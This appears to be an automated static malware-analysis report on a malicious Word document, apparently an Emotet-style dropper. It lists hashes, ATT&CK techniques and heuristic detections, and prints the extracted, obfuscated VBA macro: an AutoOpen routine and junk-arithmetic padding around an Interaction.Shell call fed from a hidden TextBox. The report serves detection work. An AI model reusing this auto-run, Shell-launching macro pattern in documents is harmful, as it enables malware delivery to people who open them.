Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 884781beac926c7f…

MALICIOUS

Office (OLE)

82.6 KB Created: 2018-12-17 18:43:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 43fe20ad08eef9784ce3105463fefac9 SHA-1: 65b3a1d3e733adfa224db590152494f3f133560d SHA-256: 884781beac926c7f0d2fafd86d7c2e9adcb975c6f0dc95590e9a9053cd6e66d0
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon document opening. Heuristics indicate the use of Shell() calls and references to cmd.exe and PowerShell, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Emodldr-6787902-0' further supports its role as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6787902-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6787902-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          pnMbjMEoMNYFiFwiZjVPKzv = 234025345 - dzliulFLwnjMRLFYXJVP
UzZTUkrfj = Array(VtDuSp, sOPvCtwTd, zSBafpKqW, Interaction.Shell(lioUiRMhr, rVOFlZEKhvq), pBhfpizB)
   RAKatYIrAbPbaEQthNRVU = QjjuTlVZNCqjihTzjzTIW * Rnd(202483422 / Sin(iTAktfcNDQijauwFWVaNM)) / Wfd + Int(246169445 - Rnd(285824993 - Tan(144897405) * 230462466 - Cos(jiUCMMlBwaSBctlonTz)) / 331537839 * Sin(300345125 / Tan(24679898) / 239913325 / Hex(290299882))) + 319431675 + CStr(251646516) - 312128024 / CLng(113263874) * 144426813 - Fix(320889867 - Hex(187430070) * 200568289 / ChrW(TwztBDWzYvYmVt / 219468982))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
iGSGXH
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10207 bytes
SHA-256: cbad13c7ba4ddfbeb9dd1a0b973f63e96f379102f75f4156173c10b35bf052a9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
139 of 175 identifiers look randomly generated (e.g. 'ibPqPvhElQnpaDmwinAaciuF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zbAMNZwCwK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
iGSGXH
End Sub

Attribute VB_Name = "vcivEnzQP"
Function iGSGXH()
On Error Resume Next
   lowhfumlGAHzpt = FUcRELBhMvsqsswSWlLwK * Rnd(63828312 / Sin(fFaLdJpnMWpESbJk)) / Wfd + Int(276293631 - Rnd(236578318 - Tan(49688480) * 242520023 - Cos(nDutIilMivYwKwLizYYWH)) / 209233808 * Sin(132421131 / Tan(20901531) / 264485062 / Hex(209620492))) + 281347025 + CStr(87983615) - 11140030 / CLng(141808677) * 95894728 - Fix(20774060 - Hex(163650643) * 163501862 / ChrW(CfSUaEbibQIIfzFqLjOdHjr / 32531471))
      rXKIjVXlDJzhDzRjzsnf = 156081438 - PwfCTKulSoNsjjQZ
   dzDJjjJEiKBIZhfbNm = WwfSUpTmnzkBbNzhkjki * Rnd(153683455 / Sin(izAKfiSsriUJHazfiTPuVHtI)) / Wfd + Int(169980576 - Rnd(312843842 - Tan(184790003) * 340944909 - Cos(sdEHWNhSKKlTvFFjSFWjFAR)) / 122654041 * Sin(188569892 / Tan(195285174) / 180331005 / Hex(26356133))) + 288362387 + CStr(239996098) - 234867621 / CLng(41390157) * 123424161 - Fix(329055793 - Hex(334518381) * 10244381 / ChrW(CkMQMXIibZBocHpFQ / 265647001))
      LlftmdaaafAzHEQQVKSsdIo = 10499552 - aPPcuBCJHpiWra
   uthBaWkHduYTkmTuJJOwj = VzGBLLlBFZnSBJcAdtIODT * Rnd(173430118 / Sin(twEouisiCFXhuZLYWbpzfSl)) / Wfd + Int(63771319 - Rnd(117987336 - Tan(61032374) * 211976459 - Cos(oRlCZNHPHwHWjEPwlu)) / 36930213 * Sin(28417627 / Tan(227836256) / 238297666 / Hex(288360280))) + 183310027 + CStr(195464657) - 179376218 / CLng(88124946) * 179407473 - Fix(72295606 - Hex(306046093) * 151056911 / ChrW(CYukUVHhRvQaUSSbCpXWD / 183558833))
      DZJYwzjENZVUHKfbQnXmmT = 113639340 - KImYVWAhamqKKzJ
   hLMQbJncfJjQERGpOnjLDD = LhFYDTkidsMKaJpNlrVtqhBM * Rnd(18685738 / Sin(tjNADiiNBjVkkIvaCYrGffYZ)) / Wfd + Int(312829653 - Rnd(134468179 - Tan(225279386) * 70318469 - Cos(dftWFaAUcoijMIF)) / 290847631 * Sin(3483506 / Tan(47032857) / 85260645 / Hex(328969113))) + 104738190 + CStr(202806718) - 194028063 / CLng(136863345) * 319027534 - Fix(125896371 - Hex(92884648) * 71306433 / ChrW(FjATGXEcOihuFajNZSXShu / 87435322))
      MrwBYZmMpjXFiNGkBQ = 250901720 - iDKEuHWAqrGKWiGOZCDo
   OZbAAUbouVawpL = pjbHCOjhHMGYsZHbE * Rnd(340940658 / Sin(UFifaUznlJdmkunZJLZr)) / Wfd + Int(259087064 - Rnd(228695229 - Tan(288052853) * 136619982 - Cos(twiOnuVwMrLKDAmCbuXdZV)) / 198379645 * Sin(33387273 / Tan(3195352) / 326887396 / Hex(105658256))) + 201853167 + CStr(56334682) - 275154527 / CLng(247856085) * 93765817 - Fix(63501476 - Hex(284335779) * 216466838 / ChrW(QYwPHnYCcOFKnoMoTqO / 159396882))
      dOpirqWFzBMTOlCvI = 147324112 - zbclsFrTdzuSdIGmKJlQzC
   QsYfKzvozYLilsLiDvjXGjUw = pOafXKLMchAWVZiuizICOrj * Rnd(164128371 / Sin(kHsfpjXZmUiVJZOz)) / Wfd + Int(145764016 - Rnd(58170626 - Tan(72643141) * 72942249 - Cos(iVCdXmLwfwiBVnC)) / 128380149 * Sin(219774929 / Tan(252710300) / 3774440 / Hex(190197835))) + 319235589 + CStr(232174617) - 35846756 / CLng(314307595) * 166730230 - Fix(166137392 - Hex(154014705) * 306622374 / ChrW(siYNBBmqCRuLdH / 145641441))
      UnmMjoWKiLwQGD = 334141789 - RtmQGnUlQdfUGRTcj
   jUUdINbKEpwBwoG = mEUsuBsrFZaJmJjOTIjJUY * Rnd(253189647 / Sin(ozIIZAMbJLwikJ)) / Wfd + Int(96721929 - Rnd(223194863 - Tan(181993245) * 192614952 - Cos(imSYuFiioEzVNRSEwt)) / 237388651 * Sin(121116338 / Tan(36081522) / 91788849 / Hex(339738101))) + 342226442 + CStr(180247573) - 70763881 / CLng(5094403) * 192074980 - Fix(66584190 - Hex(298479764) * 13499862 / ChrW(rBDPVZNCqRXXLpkQSESor / 71498615))
      UmSwkFFYvCQiMODiX = 209030453 - bnqcomajLFbNpjjicDcdz
   TcraIjVMvXoqAGatj = DljHnwjnkuAXbIGcj * Rnd(48952428 / Sin(UFaXOHJHtjzFEWnOniLotqUv)) / Wfd + Int(176011213 - Rnd(80646076 - Tan(159837631) * 316643571 - Cos(jXXSuPKcNVAdqqHmowAn)) / 299541873 * Sin(127880310 / Tan(308370233) / 153827361 / Hex(123177729))) + 36279589 + CStr(197682961) - 243764281 / CLng(205752512) * 321950218 - Fix(12835979 - Hex(228619819) * 91194839 / ChrW(JJamJHdmZMLKCzNIlPX / 57535011))
      QczzokZwQTRPOhwMBmtKGt = 224535637 - HCiXWKmLFptjamUW
Const rVOFlZEKhvq = 0
   hGJXmmuiPBPCMnkO = wLVKFsOlFVfXvtBiXYEP * Rnd(108560810 / Sin(wUjIECiciczjJOFzcOvl)) / Wfd + Int(220773099 - Rnd(113471123 - Tan(102219291) * 70108611 - Cos(HNXoOfzOUMBaznMDcq)) / 15616540 * Sin(158851441 / Tan(94729172) / 239072005 / Hex(254104227))) + 166157096 + CStr(159690576) - 317778674 / CLng(279041273) * 135975873 - Fix(201538233 - Hex(320502031) * 220377592 / ChrW(ZowoKoQzASpBEY / 202584227))
      iiEaNmFXbwQSpijXiwB = 61540979 - YtoaFXwukUzRQlvrGrmiZML
   hGwjdumwDIuRzIzXLN = zdRoFrRhERVrCVpAJjNXTqOJ * Rnd(129103833 / Sin(PcwbjYJcwsPSrr)) / Wfd + Int(82696891 - Rnd(84385715 - Tan(220933379) * 219787256 - Cos(RrvJIqqzqcIOIUDcpjdhz)) / 217985647 * Sin(173969307 / Tan(160086334) / 318767728 / Hex(240435003))) + 284581065 + CStr(271470190) - 150380576 / CLng(72375810) * 42924472 - Fix(60918487 - Hex(219488226) * 182357130 / ChrW(KTSqlsbTzoiHzo / 99036646))
      dEzkkQXNXwBafWzhjS = 294054420 - WtspWNakRdtBHnd
   traqquREzCbLGvCJCYGmbMBW = lJFEklKlwJRiiqwQs * Rnd(244528896 / Sin(WZWAsZHhGFWhpEYElLAPQQa)) / Wfd + Int(71178242 - Rnd(249864023 - Tan(248243587) * 175630178 - Cos(hJWjbKztPINfcEEfZc)) / 181687907 * Sin(197566051 / Tan(65065710) / 255048326 / Hex(71100618))) + 33291257 + CStr(288674040) - 141699449 / CLng(180564809) * 39504770 - Fix(336401772 - Hex(76161204) * 96274883 / ChrW(wnAwjmGfEiodwVm / 79450782))
      ulJKwKvzRrFituDt = 48282652 - pEHwmWwZiwhHWiPtEaFw
lioUiRMhr = zbAMNZwCwK.TextBox1.Text + zSvAw + kjqowIE + ApdoLi + mNXfzRKV + KirVAPtN + izIjIZi + vHufK + hlHpGb + tUHRN
   UhjOUSIaKoSpOiajbj = uhJrMuiEWJRPJVAh * Rnd(184993757 / Sin(jOiDnwhIHWkPBCF)) / Wfd + Int(327391539 - Rnd(86486039 - Tan(244207240) * 73107551 - Cos(UUlNmRtYITOBwirVbruLJE)) / 251988910 * Sin(78304987 / Tan(136708120) / 42262918 / Hex(51749984))) + 99750547 + CStr(65375093) - 80234477 / CLng(55955700) * 103787636 - Fix(145173322 - Hex(250305492) * 239404644 / ChrW(cUQWFIzoIiRWKkWVq / 358649))
      QiZsfJdOwLwfMuctHaXF = 7245306 - wDmplEZqnYVFUh
   RPwpZqDmdPJQjNOwhU = cCSRHfwGEmBfhLj * Rnd(213282913 / Sin(nibiTZuwFWKClPWDviRz)) / Wfd + Int(329135841 - Rnd(284127412 - Tan(70082994) * 177685796 - Cos(zAcjbEChhJDsdJdYTBIoE)) / 121659643 * Sin(149461062 / Tan(199284510) / 181177589 / Hex(252200114))) + 191518424 + CStr(98989942) - 218657729 / CLng(228713205) * 320365339 - Fix(130679153 - Hex(6008752) * 306710728 / ChrW(YSOiRIVEGTKRZobipB / 254362221))
      jdwIpbnAwMjripEFEXrj = 231590964 - QKQUDaGDHSOPnuUGp
   VFCjRnjKruLnfYjDofzi = zPLuYhMODkYIYRNvJfXXbtl * Rnd(292010447 / Sin(wlfiHtSaiWqqltGXvoJnfHGS)) / Wfd + Int(52939885 - Rnd(201182006 - Tan(2190964) * 170965556 - Cos(TGiTwbvhkvrFhpv)) / 155242798 * Sin(33994867 / Tan(160379902) / 251423627 / Hex(111482686))) + 5408904 + CStr(210601057) - 30997080 / CLng(181684276) * 30014892 - Fix(111035122 - Hex(269646445) * 205286250 / ChrW(WcssTPPMXnRLpLsS / 224522464))
      RLuCGOJFnBCOhmPUNSwNNajL = 224802066 - UFLUMJWSXURTWijNcNJIF
   sGOstwkTqEOwNta = zRIBaWDOiaWAUSdlqQWkYzjX * Rnd(83854210 / Sin(zLjpmCTPzWcQhWC)) / Wfd + Int(340895904 - Rnd(93537010 - Tan(124171904) * 175002686 - Cos(wXacIzXqYBlkoRWshonTj)) / 31438964 * Sin(127096979 / Tan(44065498) / 61601699 / Hex(166299556))) + 224886931 + CStr(4913175) - 222498268 / CLng(162184030) * 234243873 - Fix(90678572 - Hex(323310823) * 184429191 / ChrW(ckDjpfcrwlrcQzJS / 167327887))
      GDuEUTjPWIARXnMHuIdH = 330475785 - DNVVRwRBXGKiqYPXPkzaIU
   LdnjzYZHbQhIuHJlQJuro = oYObOmYQIibKwts * Rnd(3586017 / Sin(PiFFsONXlsnHZtZuGpP)) / Wfd + Int(137461420 - Rnd(146917569 - Tan(64355817) * 254661794 - Cos(LIzhkIPsPkiIizvJADdtk)) / 55521910 * Sin(227983792 / Tan(270007522) / 10994065 / Hex(105891244))) + 290771466 + CStr(28167197) - 193762960 / CLng(208466952) * 19170102 - Fix(40123835 - Hex(315218558) * 148284918 / ChrW(jPjmcduspORLGtGUSftwCZK / 207845391))
      QLPjhYMLFLtUQBPqQt = 173035271 - ElKXLkaCYrJFASLSfIHpE
   aHzfVuoCEzEktzBnAjF = QXLOdXGOCHffThj * Rnd(123279740 / Sin(LKuWbDDQIpmHjhrnzLCviBzo)) / Wfd + Int(167979736 - Rnd(341987116 - Tan(316966272) * 121258162 - Cos(QLRiqpZKloUIzViTHTa)) / 260142075 * Sin(291947706 / Tan(148069864) / 149368343 / Hex(195553586))) + 149904013 + CStr(93503262) - 61826168 / CLng(86785128) * 40824177 - Fix(323417559 - Hex(183270849) * 47672344 / ChrW(rrdUYtrSdMWinlfOUSjVi / 213977831))
      pnMbjMEoMNYFiFwiZjVPKzv = 234025345 - dzliulFLwnjMRLFYXJVP
UzZTUkrfj = Array(VtDuSp, sOPvCtwTd, zSBafpKqW, Interaction.Shell(lioUiRMhr, rVOFlZEKhvq), pBhfpizB)
   RAKatYIrAbPbaEQthNRVU = QjjuTlVZNCqjihTzjzTIW * Rnd(202483422 / Sin(iTAktfcNDQijauwFWVaNM)) / Wfd + Int(246169445 - Rnd(285824993 - Tan(144897405) * 230462466 - Cos(jiUCMMlBwaSBctlonTz)) / 331537839 * Sin(300345125 / Tan(24679898) / 239913325 / Hex(290299882))) + 319431675 + CStr(251646516) - 312128024 / CLng(113263874) * 144426813 - Fix(320889867 - Hex(187430070) * 200568289 / ChrW(TwztBDWzYvYmVt / 219468982))
      XwYWkffucFaQUfBwoAI = 324126386 - vmPcAVHMFbsOpwwEHQoQDR
   vNjdsVuQvDzLrjSlRDEwVX = MhKvPYbYiLQwSCqnOi * Rnd(171639677 / Sin(TaRWGpUoawXQXqUviafsUi)) / Wfd + Int(120874233 - Rnd(686572 - Tan(171689074) * 219401833 - Cos(ibPqPvhElQnpaDmwinAaciuF)) / 261308219 * Sin(22188956 / Tan(221598988) / 137760614 / Hex(266387804))) + 52588588 + CStr(112163837) - 319052907 / CLng(164630099) * 274060183 - Fix(249280651 - Hex(87785512) * 69863732 / ChrW(IVqliiulFoijjMZ / 43191733))
      AhKCMNMPdzrQkRYncf = 202647366 - qAPKCztmIYEWSSljzEvHd
   mcAELhmOOUNYKftzJiRtEFSw = BcjjctMjkziUqiBLRZZYl * Rnd(199435592 / Sin(RbJbZRsjJEUKEDilbAsahOdS)) / Wfd + Int(337599808 - Rnd(105675787 - Tan(224489129) * 258224874 - Cos(tYwWhRESSnPsRVPWYwHi)) / 263881520 * Sin(329080224 / Tan(154737816) / 302372848 / Hex(27564253))) + 95234494 + CStr(18792406) - 329178042 / CLng(283295581) * 182849833 - Fix(60032747 - Hex(230106276) * 31603139 / ChrW(PjWnXldTIMciPt / 89739983))
      bTaErvAESSOGbrijnQGjzkYW = 33620171 - pKRWwJkuApIAITfSVE
End Function

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